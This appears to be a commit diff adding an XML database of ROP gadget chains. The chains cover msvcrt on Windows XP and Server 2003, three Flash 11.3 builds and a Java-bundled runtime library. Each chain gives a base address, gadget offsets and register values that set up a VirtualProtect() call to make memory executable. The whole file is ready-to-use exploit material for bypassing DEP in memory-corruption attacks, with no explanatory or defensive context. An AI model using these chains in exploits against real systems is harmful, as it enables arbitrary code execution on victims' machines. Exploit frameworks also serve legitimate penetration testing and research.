1
+ <?xml version =" 1.0" encoding =" ISO-8859-1" ?>
2
+ <db >
3
+ <rop name =' msvcrt' >
4
+ <compatibility >
5
+ <target >WINDOWS XP SP2</target >
6
+ <target >WINDOWS XP SP3</target >
7
+ </compatibility >
8
+
9
+ <gadgets base =" 0x77c10000" >
10
+ <gadget offset =" 0x0002ee15" >POP EBP # RETN</gadget >
11
+ <gadget offset =" 0x0002ee15" >skip 4 bytes</gadget >
12
+ <gadget offset =" 0x0003fa1c" >POP EBX # RETN</gadget >
13
+ <gadget value =" 0x00000400" >0x00000400-> ebx</gadget >
14
+ <gadget offset =" 0x00040d13" >POP EDX # RETN</gadget >
15
+ <gadget value =" 0x00000040" >0x00000040-> edx</gadget >
16
+ <gadget offset =" 0x0002eeef" >POP ECX # RETN</gadget >
17
+ <gadget offset =" 0x0004d9bb" >Writable location</gadget >
18
+ <gadget offset =" 0x0001a88c" >POP EDI # RETN</gadget >
19
+ <gadget offset =" 0x00029f92" >RETN (ROP NOP)</gadget >
20
+ <gadget offset =" 0x0002a184" >POP ESI # RETN</gadget >
21
+ <gadget offset =" 0x0001aacc" >JMP [EAX]</gadget >
22
+ <gadget offset =" 0x0002b860" >POP EAX # RETN</gadget >
23
+ <gadget offset =" 0x00001120" >ptr to VirtualProtect()</gadget >
24
+ <gadget offset =" 0x00002df9" >PUSHAD # RETN</gadget >
25
+ <gadget offset =" 0x00025459" >ptr to 'push esp # ret</gadget >
26
+ </gadgets >
27
+ </rop >
28
+
29
+ <rop name =' msvcrt' >
30
+ <compatibility >
31
+ <target >WINDOWS SERVER 2003 SP1</target >
32
+ <target >WINDOWS SERVER 2003 SP2</target >
33
+ </compatibility >
34
+
35
+ <gadgets base =" 0x77ba0000" >
36
+ <gadget offset =" 0x0003eebf" >POP EAX # RETN</gadget >
37
+ <gadget offset =" 0x00001114" >ptr to VirtualProtect()</gadget >
38
+ <gadget offset =" 0x0001f244" >MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN</gadget >
39
+ <gadget value =" junk" >Filler</gadget >
40
+ <gadget offset =" 0x00010c86" >XCHG EAX,ESI # RETN</gadget >
41
+ <gadget offset =" 0x00026320" >POP EBP # RETN</gadget >
42
+ <gadget offset =" 0x00042265" >PUSH ESP # RETN</gadget >
43
+ <gadget offset =" 0x000385b7" >POP EBX # RETN</gadget >
44
+ <gadget value =" 0x00000400" >0x00000400-> ebx</gadget >
45
+ <gadget offset =" 0x0003e4fc" >POP EDX # RETN</gadget >
46
+ <gadget value =" 0x00000040" >0x00000040-> edx</gadget >
47
+ <gadget offset =" 0x000330fb" >POP ECX # RETN</gadget >
48
+ <gadget offset =" 0x0004ff56" >Writable location</gadget >
49
+ <gadget offset =" 0x00038a92" >POP EDI # RETN</gadget >
50
+ <gadget offset =" 0x00037d82" >RETN (ROP NOP)</gadget >
51
+ <gadget offset =" 0x0003eebf" >POP EAX # RETN</gadget >
52
+ <gadget value =" nop" >nop</gadget >
53
+ <gadget offset =" 0x00046591" >PUSHAD # ADD AL,0EF # RETN</gadget >
54
+ </gadgets >
55
+ </rop >
56
+
57
+ <rop name =' flash' >
58
+ <compatibility >
59
+ <target >11.3.300.257</target >
60
+ </compatibility >
61
+
62
+ <gadgets base =" 0x10000000" >
63
+ <gadget offset =" 0x00243043" >POP EAX # RETN</gadget >
64
+ <gadget offset =" 0x006e3384" >ptr to VirtualProtect()</gadget >
65
+ <gadget offset =" 0x0044a4aa" >MOV EAX,DWORD PTR DS:[EAX] # RETN</gadget >
66
+ <gadget offset =" 0x003d54df" >XCHG EAX,ESI # RETN</gadget >
67
+ <gadget offset =" 0x005f0b25" >POP EBP # RETN</gadget >
68
+ <gadget offset =" 0x002ed0f1" >jmp esp</gadget >
69
+ <gadget offset =" 0x003eb988" >POP EBX # RETN</gadget >
70
+ <gadget value =" 0x00000400" >0x00000400-> ebx</gadget >
71
+ <gadget offset =" 0x00662e60" >POP EDX # RETN</gadget >
72
+ <gadget value =" 0x00000040" >0x00000040-> edx</gadget >
73
+ <gadget offset =" 0x0058289d" >POP ECX # RETN</gadget >
74
+ <gadget offset =" 0x00955ebe" >Writable location</gadget >
75
+ <gadget offset =" 0x00414e84" >POP EDI # RETN</gadget >
76
+ <gadget offset =" 0x004de801" >RETN (ROP NOP)</gadget >
77
+ <gadget offset =" 0x0024044c" >POP EAX # RETN</gadget >
78
+ <gadget value =" nop" >nop</gadget >
79
+ <gadget offset =" 0x00627674" >PUSHAD # RETN</gadget >
80
+ </gadgets >
81
+ </rop >
82
+
83
+ <rop name =' flash' >
84
+ <compatibility >
85
+ <target >11.3.300.265</target >
86
+ </compatibility >
87
+
88
+ <gadgets base =" 0x10000000" >
89
+ <gadget offset =" 0x00487414" >POP EAX # RETN</gadget >
90
+ <gadget offset =" 0x006e338c" >ptr to VirtualProtect()</gadget >
91
+ <gadget offset =" 0x00437d39" >MOV EAX,DWORD PTR DS:[EAX] # RETN</gadget >
92
+ <gadget offset =" 0x0008f9c6" >XCHG EAX,ESI # RETN</gadget >
93
+ <gadget offset =" 0x000baf77" >POP EBP # RETN</gadget >
94
+ <gadget offset =" 0x002d8d5c" >jmp esp</gadget >
95
+ <gadget offset =" 0x00005604" >POP EBX # RETN</gadget >
96
+ <gadget value =" 0x00000400" >0x00000400-> ebx</gadget >
97
+ <gadget offset =" 0x0064a4d7" >POP EDX # RETN</gadget >
98
+ <gadget value =" 0x00000040" >0x00000040-> edx</gadget >
99
+ <gadget offset =" 0x004087db" >POP ECX # RETN</gadget >
100
+ <gadget offset =" 0x00955197" >Writable location</gadget >
101
+ <gadget offset =" 0x005be57f" >POP EDI # RETN</gadget >
102
+ <gadget offset =" 0x003a0002" >RETN (ROP NOP)</gadget >
103
+ <gadget offset =" 0x00244a82" >POP EAX # RETN</gadget >
104
+ <gadget value =" nop" >nop</gadget >
105
+ <gadget offset =" 0x004cbc7f" >PUSHAD # RETN</gadget >
106
+ </gadgets >
107
+ </rop >
108
+
109
+ <rop name =' flash' >
110
+ <compatibility >
111
+ <target >11.3.300.268</target >
112
+ </compatibility >
113
+
114
+ <gadgets base =" 0x10000000" >
115
+ <gadget offset =" 0x0012429b" >POP ECX # RETN</gadget >
116
+ <gadget offset =" 0x006e438c" >ptr to VirtualProtect()</gadget >
117
+ <gadget offset =" 0x00481a7d" >MOV EAX,DWORD PTR DS:[ECX]</gadget >
118
+ <gadget offset =" 0x006ae8d7" >XCHG EAX,ESI # RETN</gadget >
119
+ <gadget offset =" 0x000a6b69" >POP EBP # RETN</gadget >
120
+ <gadget offset =" 0x002b95bb" >jmp esp</gadget >
121
+ <gadget offset =" 0x0027f328" >POP EBX # RETN</gadget >
122
+ <gadget value =" 0x00000400" >0x00000400-> ebx</gadget >
123
+ <gadget offset =" 0x00686fe5" >POP EDX # RETN</gadget >
124
+ <gadget value =" 0x00000040" >0x00000040-> edx</gadget >
125
+ <gadget offset =" 0x0017e345" >POP ECX # RETN</gadget >
126
+ <gadget offset =" 0x0092027a" >Writable location</gadget >
127
+ <gadget offset =" 0x002a394a" >POP EDI # RETN</gadget >
128
+ <gadget offset =" 0x00593802" ># RETN (ROP NOP)</gadget >
129
+ <gadget offset =" 0x002447d1" >POP EAX # RETN</gadget >
130
+ <gadget value =" nop" >nop</gadget >
131
+ <gadget offset =" 0x0062857d" >PUSHAD # RETN</gadget >
132
+ </gadgets >
133
+ </rop >
134
+
135
+ <rop name =' java' >
136
+ <compatibility >
137
+ <target >*</target >
138
+ </compatibility >
139
+
140
+ <gadgets base =" 0x7c340000" >
141
+ <gadget offset =" 0x0000252c" >POP EBP # RETN</gadget >
142
+ <gadget offset =" 0x0000252c" >skip 4 bytes</gadget >
143
+ <gadget offset =" 0x0002c55a" >POP EBX # RETN</gadget >
144
+ <gadget value =" 0x00000400" >0x00000400-> ebx</gadget >
145
+ <gadget offset =" 0x00005249" >POP EDX # RETN</gadget >
146
+ <gadget value =" 0x00000040" >0x00000040-> edx</gadget >
147
+ <gadget offset =" 0x000011c0" >POP ECX # RETN</gadget >
148
+ <gadget offset =" 0x00051897" >Writable location</gadget >
149
+ <gadget offset =" 0x0000b8d7" >POP EDI # RETN</gadget >
150
+ <gadget offset =" 0x00006c0b" >RETN (ROP NOP)</gadget >
151
+ <gadget offset =" 0x00026fa6" >POP ESI # RETN</gadget >
152
+ <gadget offset =" 0x000015a2" >JMP [EAX]</gadget >
153
+ <gadget offset =" 0x000362fb" >POP EAX # RETN</gadget >
154
+ <gadget offset =" 0x0003a151" >ptr to VirtualProtect()</gadget >
155
+ <gadget offset =" 0x00038c81" >PUSHAD # ADD AL,0EF # RETN</gadget >
156
+ <gadget offset =" 0x00005c30" >ptr to 'push esp # ret</gadget >
157
+ </gadgets >
158
+ </rop >
159
+ </db >
0 commit comments